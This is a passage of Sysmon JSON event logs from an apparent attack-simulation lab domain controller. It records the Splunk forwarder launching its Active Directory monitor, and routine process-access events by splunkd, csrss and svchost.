C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.339","ProcessGuid":"{90617006-4355-5F2D-0000-001002831100}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8377,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.338\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4355-5F2D-0000-001002831100}\r\nTargetProcessId: 2516\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.338","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4355-5F2D-0000-001002831100}","TargetProcessId":"2516","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8378,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4355-5F2D-0000-001002831100}\r\nTargetProcessId: 2516\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4355-5F2D-0000-001002831100}","TargetProcessId":"2516","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8379,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8380,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8381,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8382,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8383,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:37.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8384,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:37.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 